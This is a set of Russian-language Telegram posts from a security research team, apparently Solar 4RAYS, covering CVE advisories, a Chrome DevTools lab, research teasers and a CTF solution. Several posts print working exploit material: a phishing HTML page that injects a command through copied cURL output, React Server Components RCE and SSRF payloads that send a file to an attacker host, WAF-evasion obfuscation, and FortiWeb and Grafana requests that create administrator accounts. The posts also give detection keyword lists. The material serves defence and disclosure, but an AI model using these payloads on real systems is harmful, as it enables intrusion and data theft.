Лабораторная работа CVE-2025-12907
Уязвимость CVE-2025-12907 связана с недостаточной проверкой ненадежного ввода в инструментах разработчика (Devtools) Google Chrome в версиях до 140.0.7339.80.
🫡 Метрики
🫡 Об уязвимости
Текущая реализация DevTools «Копировать как cURL (cmd)» не очищает символ табуляции (\t). Так как cmd.exe интерпретирует табуляцию как разделитель (аналог пробела), злоумышленник может вставить в полезную нагрузку символ табуляции, затем символ разделителя команд (например, &) и перевод строки. В результате аргумент cURL будет проигнорирован и при вставке текста в командную строку выполнятся дополнительные произвольные команды.
Рекомендуем обновиться.
🫡 Лабораторный стенд
Windows 7/10/11
Google Chrome < 140.0.7339.80
Html код (ниже)
Python3
Протестировано на Windows 7 и Google Chrome Version 109.0.5414.120 (Official Build) (32-bit).
😬 Этапы лабораторной работы
1) Создайте и сохраните страницу на сервере. Для примера эта будет фишинговая страница с сообщением «Техническая поддержка не работает» и просьбой отправить тестовый сURL. Название файла — lab_cve-CVE-2025-12907.html.
2) Запустите http-сервер через
3) Откройте Google Chrome с уязвимой версией и переходите на страницу с вредоносным кодом, в нашем случае это lab_cve-CVE-2025-12907.html.
4) Откройте DevTools - > network -> обновите страницу -> выберите запрос -> копировать -> копировать как cURL(cmd).
5) Вставьте полученный код в консоль (cmd). Если появилось сообщение «Продолжить», нажмите Enter.
6) Результат — открытые calc.exe.
😬 Html код (lab_cve-CVE-2025-12907.html)
Уязвимость CVE-2025-12907 связана с недостаточной проверкой ненадежного ввода в инструментах разработчика (Devtools) Google Chrome в версиях до 140.0.7339.80.
CWE: CWE-20
Текущая реализация DevTools «Копировать как cURL (cmd)» не очищает символ табуляции (\t). Так как cmd.exe интерпретирует табуляцию как разделитель (аналог пробела), злоумышленник может вставить в полезную нагрузку символ табуляции, затем символ разделителя команд (например, &) и перевод строки. В результате аргумент cURL будет проигнорирован и при вставке текста в командную строку выполнятся дополнительные произвольные команды.
Рекомендуем обновиться.
Windows 7/10/11
Google Chrome < 140.0.7339.80
Html код (ниже)
Python3
Протестировано на Windows 7 и Google Chrome Version 109.0.5414.120 (Official Build) (32-bit).
1) Создайте и сохраните страницу на сервере. Для примера эта будет фишинговая страница с сообщением «Техническая поддержка не работает» и просьбой отправить тестовый сURL. Название файла — lab_cve-CVE-2025-12907.html.
2) Запустите http-сервер через
python3 -m http.server 8111. Если хотите указать путь до файла, то используйте флаг. --directory /example
3) Откройте Google Chrome с уязвимой версией и переходите на страницу с вредоносным кодом, в нашем случае это lab_cve-CVE-2025-12907.html.
4) Откройте DevTools - > network -> обновите страницу -> выберите запрос -> копировать -> копировать как cURL(cmd).
5) Вставьте полученный код в консоль (cmd). Если появилось сообщение «Продолжить», нажмите Enter.
6) Результат — открытые calc.exe.
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<noscript>Тех поддержка не работает</noscript>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f2f2f2;
color: #333;
padding: 40px;
max-width: 600px;
margin: auto;
}
h1 {
color: #c0392b;
text-align: center;
margin-bottom: 20px;
}
p {
font-size: 18px;
line-height: 1.5;
background: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
}
code {
background-color: #eee;
padding: 3px 6px;
border-radius: 3px;
font-family: monospace;
}
</style>
</head>
<body>
<h1>Техническая поддержка не работает</h1>
<p>Пример тестового сетевого запроса с помощью <code>fetch</code>. Чтобы проверить сеть, откройте F12, скопируйте запрос как <code>cURL(cmd)</code> и отправьте его через консоль.</p>
<noscript>
fetch("/copy-me", {
credentials: "omit",
headers: {
"Accept-Language": "en-US",
"Content-Type": "text/plain",
},
body: "\t \t\t \r\ncalc.exe \t \t\f\v",
method: "POST",
});
</noscript>
</body>
</html>
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12✍4⚡2❤1👾1
Shedding Zmiy против популярной CMS
Когда анализировали инструментарий проукраинской группировки Shedding Zmiy, мы наткнулись на необычную утилиту. Она называлась Install.
👀 Мы детально проанализировали утилиту и выяснили, что она (если получит несанкционированный доступ к веб-серверу) предназначалась для расширения привилегий в инфраструктуре через уязвимость (нулевого дня на тот момент) в настройках веб-сервера из инструмента «виртуальная машина», который используется для быстрого развертывания популярной российской CMS Bitrix.
Про уязвимость мы уже писали у нас в канале. Она закрыта, и если вы не обновились, то сделайте это скорее.
В новой статье в блоге рассказываем о механизме действия уязвимости, а также о правилах безопасного управления правами доступа, которыми затрудняют жизнь атакующих.
Когда анализировали инструментарий проукраинской группировки Shedding Zmiy, мы наткнулись на необычную утилиту. Она называлась Install.
Про уязвимость мы уже писали у нас в канале. Она закрыта, и если вы не обновились, то сделайте это скорее.
В новой статье в блоге рассказываем о механизме действия уязвимости, а также о правилах безопасного управления правами доступа, которыми затрудняют жизнь атакующих.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7🔥6🤯4👾1
Критическая уязвимость Fortinet FortiWeb (CVE-2025-64446)
CVE-2025-64446 — уязвимость обхода относительного пути в Fortinet. Уязвимые версии: Fortinet FortiWeb 8.0.0–8.0.1, FortiWeb 7.6.0–7.6.4, FortiWeb 7.4.0–7.4.9, FortiWeb 7.2.0–7.2.11, FortiWeb 7.0.0–7.0.11.
👽 Метрики
👽 Об уязвимости
Сканирования системы могут начаться с простого — с проверки доступности фала
Сканирование на доступность начинается с GET- или POST-запроса на:
Ответ:
Означает: файл доступен.
Уязвимость усугубляется тем, что злоумышленник может отправить запрос на создание нового пользователя с ролью «Администратор». Для этого отправляется POST на вышеуказанный
И телом, которое представляет собой JSON с данными нового пользователя.
Небольшое уточнение: часть /api/v регистронезависима.
👽 Как защищаться
1) Блокирующее правило WAF/IDS на запросы к /api/v.., которые содержат в пути попытки обхода директорий
2) Проверка обращений к /fwbcgi из внешней сети.
3) Обновление.
4) Ревизия недавно созданных пользователей.
CVE-2025-64446 — уязвимость обхода относительного пути в Fortinet. Уязвимые версии: Fortinet FortiWeb 8.0.0–8.0.1, FortiWeb 7.6.0–7.6.4, FortiWeb 7.4.0–7.4.9, FortiWeb 7.2.0–7.2.11, FortiWeb 7.0.0–7.0.11.
Base Score: 9.8 CRITICAL
CWE: CWE-23
Сканирования системы могут начаться с простого — с проверки доступности фала
fwbcgi. Файл fwbcgi отвечает за обработку определённых запросов CGI, в том числе аутентификацию и выполнение административных команд. Сканирование на доступность начинается с GET- или POST-запроса на:
/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi
Ответ:
{"errcode": "0", "message": "(null)"}Означает: файл доступен.
Уязвимость усугубляется тем, что злоумышленник может отправить запрос на создание нового пользователя с ролью «Администратор». Для этого отправляется POST на вышеуказанный
/../../../../../cgi-bin/fwbcgi с заголовками вида (указано в формате ключ – значение):{'CGIINFO': 'eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==', 'Content-Type': 'application/x-www-form-urlencoded'}И телом, которое представляет собой JSON с данными нового пользователя.
Небольшое уточнение: часть /api/v регистронезависима.
1) Блокирующее правило WAF/IDS на запросы к /api/v.., которые содержат в пути попытки обхода директорий
../. Также необходимо учесть, что злоумышленник в атаках может использовать методы обхода стандартных сигнатур WAF/IDS. Например, как на скриншоте.2) Проверка обращений к /fwbcgi из внешней сети.
3) Обновление.
4) Ревизия недавно созданных пользователей.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6✍4❤2👾1
Четыре луча
⌛️ Регистрация на SOC Forum 2025 закрывается 7 ноября Приходите послушать доклады экспертов Solar 4RAYS. Вот, что мы приготовили. 🫡 IDFKA Backdoor: скрытая угроза Rust-имплантов в современных APT-атаках 18 ноября, 10:30, зал 3 Разберем ход расследования…
Расскажем интересное на SOC Forum уже сегодня!
18 и 20 ноября на форуме выступят эксперты Solar 4RAYS. Расписание наших выступлений публиковали раньше.
Ждем вас в Тимирязев Центре и на онлайн-трансляции❤️
18 и 20 ноября на форуме выступят эксперты Solar 4RAYS. Расписание наших выступлений публиковали раньше.
Ждем вас в Тимирязев Центре и на онлайн-трансляции
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12❤6😎3
Следующая остановка — ZeroNights!
SOC Forum закончился, но впереди еще одна классная конференция по кибербезопасности — ZeroNights. Если вы (как и мы) планируете 26 ноября быть в Санкт-Петербурге и заглянуть в гости к Матришу, то у нас для вас послание:
NWQgM2MgMzEgMmMgMjcgMTQgNjQgN2MgNzkgMDggNGQgMWQgMzQgMDYgMzIgNjYgMTcgMWUgMzAgMWQgNjk=
Расшифровали и ничего не поняли? Все подробности на нашем стенде 26 ноября. До встречи❤️
SOC Forum закончился, но впереди еще одна классная конференция по кибербезопасности — ZeroNights. Если вы (как и мы) планируете 26 ноября быть в Санкт-Петербурге и заглянуть в гости к Матришу, то у нас для вас послание:
Расшифровали и ничего не поняли? Все подробности на нашем стенде 26 ноября. До встречи
Please open Telegram to view this post
VIEW IN TELEGRAM
❤23👏9🥰7🤡2👍1🔥1👾1
Повышение привилегий в Grafana Enterprise (CVE-2025-41115)
CVE-2025-41115 — уязвимость связана с ошибкой в обработке идентификаторов пользователей через SCIM. Система позволяет создать пользователя с внешним идентификатором (externalId) числового вида, например «1», который может совпадать или интерпретироваться как внутренний ID пользователя в Grafana.
Уязвимые версии Grafana Enterprise: 12.0.0 ≤ версия ≤ 12.2.1
😬 Метрики
😬 Об уязвимости
Она возникает при установке флагов
Grafana напрямую сопоставляет
Пример запроса, который эксплуатирует уязвимость:
/api/scim/v2/Users — конечная точка для управления пользователями. Например, чтобы создать пользователя через POST-запрос.
Authorization — заголовок авторизации: его значение могут скомпрометировать или использовать дефолтное значение, как в публичных эксплойтах.
Body — это спецификация SCIM RFC 7644. В теле запроса и содержится параметр
😬 Как защищаться
1) Регулярно обновляться.
2) Анализировать запросы к /api/scim/v2/Users из внешних сетей с заголовком Authorization, у которого значения отличаются от сгенерированных или выданных токенов.
3) Анализировать запросы к /api/scim/v2/Users из внешних сетей с параметром
4) Если нельзя быстро обновиться, то установить
Другой вариант — написать блокирующие IDS/WAF-правила на POST-запросы к /api/scim/v2/Users со значением
CVE-2025-41115 — уязвимость связана с ошибкой в обработке идентификаторов пользователей через SCIM. Система позволяет создать пользователя с внешним идентификатором (externalId) числового вида, например «1», который может совпадать или интерпретироваться как внутренний ID пользователя в Grafana.
Уязвимые версии Grafana Enterprise: 12.0.0 ≤ версия ≤ 12.2.1
Base Score: 10.0 CRITICAL
CWE: CWE-266
Она возникает при установке флагов
[feature_toggles] enableSCIM = true и [auth.scim] user_sync_enabled = true в конфигурации Grafana.Grafana напрямую сопоставляет
SCIM externalId с внутренним user.uid, поэтому числовые значения «1» и другие могут быть интерпретированы как внутренние числовые идентификаторы пользователей. ExternalId — этот параметр контролирует злоумышленник в POST-запросах. Пример запроса, который эксплуатирует уязвимость:
POST /api/scim/v2/Users HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Authorization: Bearer glsa_00000000000000000000000000000000_00000000000000000000000000000000
Content-Type: application/scim+json
Content-Length: 239
{"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"], "userName": "adminLol", "externalId": "1", "name": {"formatted": "Pwned User"}, "emails": [{"value": " adminLol ", "primary": true}], "active": true}
/api/scim/v2/Users — конечная точка для управления пользователями. Например, чтобы создать пользователя через POST-запрос.
Authorization — заголовок авторизации: его значение могут скомпрометировать или использовать дефолтное значение, как в публичных эксплойтах.
Body — это спецификация SCIM RFC 7644. В теле запроса и содержится параметр
externalId, который вызывает коллизию. 1) Регулярно обновляться.
2) Анализировать запросы к /api/scim/v2/Users из внешних сетей с заголовком Authorization, у которого значения отличаются от сгенерированных или выданных токенов.
3) Анализировать запросы к /api/scim/v2/Users из внешних сетей с параметром
externalId, который содержит небольшие значения, например 1-10.4) Если нельзя быстро обновиться, то установить
enableSCIM = false и [auth.scim] user_sync_enabled = false.Другой вариант — написать блокирующие IDS/WAF-правила на POST-запросы к /api/scim/v2/Users со значением
externalId, которое равно числам в диапазоне, например 1-10.Please open Telegram to view this post
VIEW IN TELEGRAM
❤13🔥3✍1👍1👀1👾1
NGC5081 атакует телеком с помощью продвинутого бэкдора IDFKA 👁
В конце мая эксперты Solar 4RAYS подключились к расследованию инцидента в телекоммуникационной компании, который начался с оповещения Solar JSOC о выполнении bash-команд посредством БД PostgreSQL в одном из внутренних контуров инфраструктуры.
💡 Поиск источника активности привел нас к подрядчику этой организации — IT-компании, которая администрировала эту базу данных. В сети подрядчика мы обнаружили минимум две группировки атакующих, одна из которых (мы назвали ее NGC5081) использовала ранее неизвестный бэкдор на языке Rust — мы назвали его IDFKA.
С помощью этого бэкдора атакующие 10 месяцев сохраняли доступ к IT-инфраструктуре подрядчика, а также получили доступ к базам компаний-клиентов с информацией об абонентах и метаинформацией об их звонках.
Подробности — в нашей новой статье.
В конце мая эксперты Solar 4RAYS подключились к расследованию инцидента в телекоммуникационной компании, который начался с оповещения Solar JSOC о выполнении bash-команд посредством БД PostgreSQL в одном из внутренних контуров инфраструктуры.
С помощью этого бэкдора атакующие 10 месяцев сохраняли доступ к IT-инфраструктуре подрядчика, а также получили доступ к базам компаний-клиентов с информацией об абонентах и метаинформацией об их звонках.
Подробности — в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👀5❤4👻1👾1
Mycelium, Octopus и Leech — рассказываем о новом инструментарии группировки Shedding Zmiy
✅ В марте мы выпустили статью о новых инструментах Shedding Zmiy. В том же инциденте мы обнаружили не только руткиты Puma и Kitsune, но и еще несколько новых утилит, написанных на Rust, которые могут использовать злоумышленники для закрепления в системе и постэксплуатации.
Обратили внимание и на техники, которые используют данные вредоносы, и то, как они взаимодействуют между собой. В новой статье рассматриваем:
— как утилиты помогают повысить привилегии;
— каким образом происходит закрепление в системе и дальнейшая маскировка;
— какие возможности получает злоумышленник при попадании этих вредоносов в систему.
Обратили внимание и на техники, которые используют данные вредоносы, и то, как они взаимодействуют между собой. В новой статье рассматриваем:
— как утилиты помогают повысить привилегии;
— каким образом происходит закрепление в системе и дальнейшая маскировка;
— какие возможности получает злоумышленник при попадании этих вредоносов в систему.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14⚡6🤯4👾1
Решение задания с ZeroNights
Всем участникам конференции ZeroNights мы предлагали пройти квест. Были те, кто справился — молодцы, поздравляем! Но еще подготовили разбор задания для всех желающих.
😬 На входе участник получал дамп сетевого трафика в формате .pcap. При его детальном анализе он мог заметить локальный TFTP-трафик от 127.0.0.1 к 127.0.0.1. Ему нужно было воспользоваться функцией Wireshark, которая позволяет экспортировать передаваемые объекты данного протокола, чтобы получить архив Important.zip.
В архиве три файла:
Текстовый документ открывается в любом редакторе. Внутри такое сообщение:
На photo.png — роботизированная собака. С помощью подсказки участник должен был проанализировать изображение и заметить встроенный текстовый chunk (tEXt):
😬 Дальше было важно понять, для чего нужен этот фрагмент. Для этого нужно проанализировать последний файл из архива song.wav, который при открытии издает монотонный звук.
Файл выглядит как обычный .wav, но его размер подозрительно большой. При подробном анализе файла можно было заметить намеренно оставленный маркер GPG_START. И если вытащить не связанную со звуком информацию в HEX-редакторе и сохранить её в отдельном файле, то участник получит file fs.gz.gpg.
Это зашифрованный gzip-архив. Пароль для его расшифровки — фрагменты Solar + ik42. Архив содержал в себе файловую систему fs, которую нужно было смонтировать:
Текстовый документ содержал в себе флаг к этой задаче:
Это финал! Ставим лайк победителям квеста❤️
Всем участникам конференции ZeroNights мы предлагали пройти квест. Были те, кто справился — молодцы, поздравляем! Но еще подготовили разбор задания для всех желающих.
В архиве три файла:
- doc.txt
- photo.png
- song.wav
Текстовый документ открывается в любом редакторе. Внутри такое сообщение:
My pet's name: Solar
The rest is hidden in the image.
На photo.png — роботизированная собака. С помощью подсказки участник должен был проанализировать изображение и заметить встроенный текстовый chunk (tEXt):
SECRET=ik42
Файл выглядит как обычный .wav, но его размер подозрительно большой. При подробном анализе файла можно было заметить намеренно оставленный маркер GPG_START. И если вытащить не связанную со звуком информацию в HEX-редакторе и сохранить её в отдельном файле, то участник получит file fs.gz.gpg.
Это зашифрованный gzip-архив. Пароль для его расшифровки — фрагменты Solar + ik42. Архив содержал в себе файловую систему fs, которую нужно было смонтировать:
sudo mount -o loop fs mnt
ls -R mnt
mnt/
└── secret_dir
└── final.txt
Текстовый документ содержал в себе флаг к этой задаче:
Solar4Rays{S0RR4_F0R_ST3G0_AG41N}Это финал! Ставим лайк победителям квеста
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥34❤9😁5⚡3👍1👾1
Evading Detection to Ring0
Задумывались ли вы о том, как работают инструменты сбора телеметрии, которые вы используете у себя в инфраструктуре? Знаете ли их потенциальные слабые места?
Злоумышленники постоянно ищут и успешно находят способы обхода различных защитных решений, а также стараются вести себя в скомпрометированной инфраструктуре как можно тише. Если вы не будете хотя бы иногда думать о первых двух вопросах, то очень вероятно, что злоумышленники смогут обмануть защиту.
Мы подумали, разреверсили EventLog, Sysmon и ядро операционной системы Windows, а по итогам исследования выпустили статью, в которой рассказываем:
😬 как работает EventLog от момента генерации события до его получения в журналах;
😬 как работает широко известный Sysmon;
😬 что такое ETW и с чем его едят;
😬 как можно собирать телеметрию о WinAPI-вызовах;
😬 какие есть способы обхода перечисленных средств сбора телеметрии.
Также о нашем исследовании мы рассказывали на SOC Forum 2025. Ищите запись на Rutube.
Задумывались ли вы о том, как работают инструменты сбора телеметрии, которые вы используете у себя в инфраструктуре? Знаете ли их потенциальные слабые места?
Злоумышленники постоянно ищут и успешно находят способы обхода различных защитных решений, а также стараются вести себя в скомпрометированной инфраструктуре как можно тише. Если вы не будете хотя бы иногда думать о первых двух вопросах, то очень вероятно, что злоумышленники смогут обмануть защиту.
Мы подумали, разреверсили EventLog, Sysmon и ядро операционной системы Windows, а по итогам исследования выпустили статью, в которой рассказываем:
Также о нашем исследовании мы рассказывали на SOC Forum 2025. Ищите запись на Rutube.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥18❤9🎉6🌚1👾1
Критическая уязвимость CVE-2025-55182
Это RCE уязвимость в RCE в React Server Components. Основана на небезопасной десериализации и серверном prototype pollution в протоколе Flight. Она позволяет неаутентифицированному удалённому атакующему выполнить произвольный JS-код.
Уязвимые версии: React 19.0.0, React 19.1.0, React 19.1.1, React 19.2.0 пакетов react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack.
😬 Метрики
😬 Кратко об уязвимости
Из-за ошибки в десериализации протокола Flight злоумышленник может выполнить произвольный JavaScript-код на сервере через прототипное загрязнение. При обработке фрагментов и попытке разрешить ссылки React не проверял, существует ли запрошенный ключ в самом объекте. Это и приводило к загрязнению прототипа.
Flight-протокол допускает ссылки вида
Протокол разбирает это так: взять фрагмент 1 -> получить поле
😬 Примеры
Cтандартная нагрузка в большинстве эксплойтов:
😬 Какие еще вариации полезных нагрузок есть и к каким последствиям может привести уязвимость
RCE
Вызов CODE через execSync — синхронную функцию, которая выполняет команду ОС. Инъекция происходит вслепую.
Аналог вышестоящей команды, но с выводом результата команды в заголовке x-action-redirect.
Вызов CODE через spawnSync — синхронную версию функции, которая позволяет запускать внешние процессы напрямую. Инъекция происходит вслепую.
SSRF
Выполнение SSRF через require('https'). HOST — сервер под контролем злоумышленника, FILE — содержимое файла, которое будет передано на HOST.
Bypass WAF/IDS
Для обхода сигнатур WAF/IDS злоумышленник может использовать Unicode:
Или строку
Так можно изменить с помощью String.fromCharCode — встроенной JavaScript-функцией, которая создаёт строку из набора числовых кодов символов.
Техники можно комбинировать, что усложняет обнаружение.
😬 Итог
Обнаружить классическими сигнатурами сложнее из-за вариативности нагрузок и методов обфускации, но лучше иметь какую-то защиту.
Рекомендуем написать правило на WAF/IDS, которое будет блокировать запросы вида метод POST, а также заголовки next-action или x-rsc-action. В том числе если тело запроса содержит ссылки
Но самый лучший вид защиты — обновление уязвимых пакетов до новых версий.
Это RCE уязвимость в RCE в React Server Components. Основана на небезопасной десериализации и серверном prototype pollution в протоколе Flight. Она позволяет неаутентифицированному удалённому атакующему выполнить произвольный JS-код.
Уязвимые версии: React 19.0.0, React 19.1.0, React 19.1.1, React 19.2.0 пакетов react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack.
Base Score: 10.0 CRITICAL
CWE: CWE-502
Из-за ошибки в десериализации протокола Flight злоумышленник может выполнить произвольный JavaScript-код на сервере через прототипное загрязнение. При обработке фрагментов и попытке разрешить ссылки React не проверял, существует ли запрошенный ключ в самом объекте. Это и приводило к загрязнению прототипа.
Flight-протокол допускает ссылки вида
$1:key1:key2:...:keyN:$1:__proto__:constructor:constructor
Протокол разбирает это так: взять фрагмент 1 -> получить поле
__proto__ -> получить constructor -> опять получить constructor. Если нет проверки «является ли поле собственным свойством объекта», интерпретатор переходил в прототип, затем в Function constructor и в итоге получал сам конструктор функции.Cтандартная нагрузка в большинстве эксплойтов:
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "process.mainModule.require('child_process').execSync('CODE');", "_formData": {"get": "$1:constructor:constructor"}}}RCE
process.mainModule.require('child_process').execSync('CODE'); Вызов CODE через execSync — синхронную функцию, которая выполняет команду ОС. Инъекция происходит вслепую.
process.mainModule.require('child_process').execSync('CODE').toString().trim();;throw Object.assign(newError('NEXT_REDIRECT'),{digest: NEXT_REDIRECT;push;/login?a=${res};307;});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}Аналог вышестоящей команды, но с выводом результата команды в заголовке x-action-redirect.
process.mainModule.require('child_process').spawnSync('CODE', { shell: true, stdio: 'ignore' })Вызов CODE через spawnSync — синхронную версию функции, которая позволяет запускать внешние процессы напрямую. Инъекция происходит вслепую.
SSRF
process.mainModule.require('https').request({hostname:HOST',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('FILE'));Выполнение SSRF через require('https'). HOST — сервер под контролем злоумышленника, FILE — содержимое файла, которое будет передано на HOST.
Bypass WAF/IDS
Для обхода сигнатур WAF/IDS злоумышленник может использовать Unicode:
:__proto__:then -> \u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e
Или строку
CODE могут закодировать в base64 так: execSync(Buffer.from('Q09ERQ==','base64').toString())Так можно изменить с помощью String.fromCharCode — встроенной JavaScript-функцией, которая создаёт строку из набора числовых кодов символов.
process.mainModule.require('child_process').execSync('CODE'); -> Function('return '+String.fromCharCode(112,114,111,99,101,115,115))().mainModule.require('child_process').execSync('CODE’)Техники можно комбинировать, что усложняет обнаружение.
\u0046\u0075\u006e\u0063\u0074\u0069\u006f\u006e('return '+String.fromCharCode(112,114,111,99,101,115,115))...Обнаружить классическими сигнатурами сложнее из-за вариативности нагрузок и методов обфускации, но лучше иметь какую-то защиту.
Рекомендуем написать правило на WAF/IDS, которое будет блокировать запросы вида метод POST, а также заголовки next-action или x-rsc-action. В том числе если тело запроса содержит ссылки
$B, $@, $Q или их Unicode представления и опасные JS-методы или функции, например child_process, String.fromCharCode, _proto_, execSync ,spawnSync, _chunks, _formData, _response, toString. Нужно регистронезависимое правило.Но самый лучший вид защиты — обновление уязвимых пакетов до новых версий.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17✍7❤3⚡3
WMI Persist, который Sysmon не видит
В Windows есть довольно старая техника закрепления через подписчики WMI. Суть в том, что злоумышленник обращается к классам пространства имен ROOT\Subnoscription (Скриншот 1) и создает три сущности:
1️⃣ EventFilter — фильтр, который по указанной логике отрабатывает на события, например запуск процесса с характерными параметрами.
2️⃣ EventConsumer — сущность, которая описывает, что произойдет, когда срабатывает фильтр.
3️⃣ FilterConsumerBinding — отвечает за создание связи между определенными EventFilter и EventConsumer.
Таким образом, злоумышленник в ответ на определенные события в системе (например, SystemStartup) может прописать запуск своего пэйлоада и закрепиться. У Sysmon есть отдельные события на эту активность:
🫡 EventId 19 — WmiEventFilter activity detected, срабатывает на регистрацию WMI-фильтра.
🫡 EventId 20 — WmiEventConsumer activity detected, срабатывает на регистрацию WMI Consumer.
🫡 EventId 21 — WmiEventConsumerToFilter activity detected срабатывает на регистрацию связи между WMI Consumer и WMI Filter.
Этот тип закрепления видно, к примеру, в утилите Autoruns (скриншот 2).
Но у принципа сбора WMI-событий в Sysmon существует недостаток, который заключается в том, что события собираются только из пространства имен ROOT\Subnoscription.
Дело в том, что в пространстве имен ROOT\Default есть аналогичные классы (скриншот 3), которые можно использовать для этого типа закрепления.
📍 Если Filter, Consumer и Binding будут созданы через это пространство имен, то Sysmon не сгенерирует никаких событий, а закрепление пройдет успешно.
Если хотите более подробно ознакомиться с тем как Sysmon собирает WMI-события, читайте в нашей статье.
В Windows есть довольно старая техника закрепления через подписчики WMI. Суть в том, что злоумышленник обращается к классам пространства имен ROOT\Subnoscription (Скриншот 1) и создает три сущности:
Таким образом, злоумышленник в ответ на определенные события в системе (например, SystemStartup) может прописать запуск своего пэйлоада и закрепиться. У Sysmon есть отдельные события на эту активность:
Этот тип закрепления видно, к примеру, в утилите Autoruns (скриншот 2).
Но у принципа сбора WMI-событий в Sysmon существует недостаток, который заключается в том, что события собираются только из пространства имен ROOT\Subnoscription.
Дело в том, что в пространстве имен ROOT\Default есть аналогичные классы (скриншот 3), которые можно использовать для этого типа закрепления.
Если хотите более подробно ознакомиться с тем как Sysmon собирает WMI-события, читайте в нашей статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥21👏5💅5❤2🤔2👍1🤩1
Rust: как бороться с ночным кошмаром реверс-инженеров 👀
Часто при исследовании вредоносов на Rust создают сигнатуры для используемых крейтов. Это помогает распознать библиотечные функции внутри исполняемого файла. Но если не знать параметров оптимизации, с которыми был скомпилирован вредонос, сигнатуры могут получиться некачественными и тогда не удастся распознать большое количество функций.
Мы разработали и выложили в открытый доступ скрипт, который может подобрать наиболее подходящие параметры оптимизации для того, чтобы создавать более эффективные сигнатуры. Как его можно применить на практике и какой еще эффективный метод исследования Rust-вредоносов есть, читайте в нашей новой статье.
Часто при исследовании вредоносов на Rust создают сигнатуры для используемых крейтов. Это помогает распознать библиотечные функции внутри исполняемого файла. Но если не знать параметров оптимизации, с которыми был скомпилирован вредонос, сигнатуры могут получиться некачественными и тогда не удастся распознать большое количество функций.
Мы разработали и выложили в открытый доступ скрипт, который может подобрать наиболее подходящие параметры оптимизации для того, чтобы создавать более эффективные сигнатуры. Как его можно применить на практике и какой еще эффективный метод исследования Rust-вредоносов есть, читайте в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16❤9⚡2🤓2
Четыре луча
Критическая уязвимость CVE-2025-55182 Это RCE уязвимость в RCE в React Server Components. Основана на небезопасной десериализации и серверном prototype pollution в протоколе Flight. Она позволяет неаутентифицированному удалённому атакующему выполнить произвольный…
Дополнительно к CVE-2025-55182
Стало известно еще о двух уязвимостях в React Server Components:
1. CVE-2025-55184 (CVE-2025-67779) — угроза типа «отказ в обслуживании». Уязвимы версии до 19.0.3, 19.1.4 и 19.2.3.
2. CVE-2025–55183 — угроза раскрытия исходного кода.
🫡 Метрики
🫡 Об уязвимости CVE-2025–55183
Уязвимость возникает при десериализации вредоносного запроса, где сервер возвращает исходный код вместо ожидаемого ответа. Для эксплуатации уязвимости необходимо иметь серверную функцию, которая явно или неявно предоставляет строковый аргумент.
🫡 Об уязвимости CVE-2025–55184
Уязвимость возникает при десериализации вредоносного запроса, который вызывает бесконечный цикл, что в свою очередь ведет к большому потреблению ресурсов сервера.
🫡 Пример CVE-2025–55183
🫡 Пример CVE-2025–55184
🫡 Как защититься
Правило может выглядеть так: POST-запрос плюс заголовки next-action или x-rsc-action плюс наличие в теле маркеров
Стало известно еще о двух уязвимостях в React Server Components:
1. CVE-2025-55184 (CVE-2025-67779) — угроза типа «отказ в обслуживании». Уязвимы версии до 19.0.3, 19.1.4 и 19.2.3.
2. CVE-2025–55183 — угроза раскрытия исходного кода.
CVE-2025–55184
Base Score: 7,5
CVE-2025–55183
Base Score: 5,3
Уязвимость возникает при десериализации вредоносного запроса, где сервер возвращает исходный код вместо ожидаемого ответа. Для эксплуатации уязвимости необходимо иметь серверную функцию, которая явно или неявно предоставляет строковый аргумент.
Уязвимость возникает при десериализации вредоносного запроса, который вызывает бесконечный цикл, что в свою очередь ведет к большому потреблению ресурсов сервера.
Content-Disposition: form-data; name="0"
["$F1"]
------SourceLeak
Content-Disposition: form-data; name="1"
{"id":"40253f19fa8f907f9b5ea79d831ed8ce7f3cb46e15","bound»: null}
------SourceLeak—
Content-Disposition: form-data; name="0"; filename=""
"$@0"
--36bd33c14b4a09f0b880ae771a9a66af--
Правило может выглядеть так: POST-запрос плюс заголовки next-action или x-rsc-action плюс наличие в теле маркеров
$B, $@, $Q, $F либо их Unicode-представления.Please open Telegram to view this post
VIEW IN TELEGRAM
❤12🔥9👀5⚡2
Критическая уязвимость в n8n CVE-2025–68613
Дополнительно — лабораторная работа
CVE-2025–68613 — уязвимость выполнения удаленного кода у авторизированных пользователей в n8n. Уязвимы версии меньше 1.120.4, 1.121.1 и 1.122.0. FOFA сообщает более чем о полумиллионах доступных инстансов n8n по всему миру, в том числе и в России.
🫡 Метрики
🫡 Об уязвимости
В n8n существует возможность установки set-ноды, в значении которой можно передать Java Script–код, что приводит к RCE. В ручном тестировании атака выглядит так.
1) Создают workflow.
2) Выбирают Set-ноду.
3) Выбирают тип данных String.
4) Устанавливают value-значение в формате {{CODE}}.
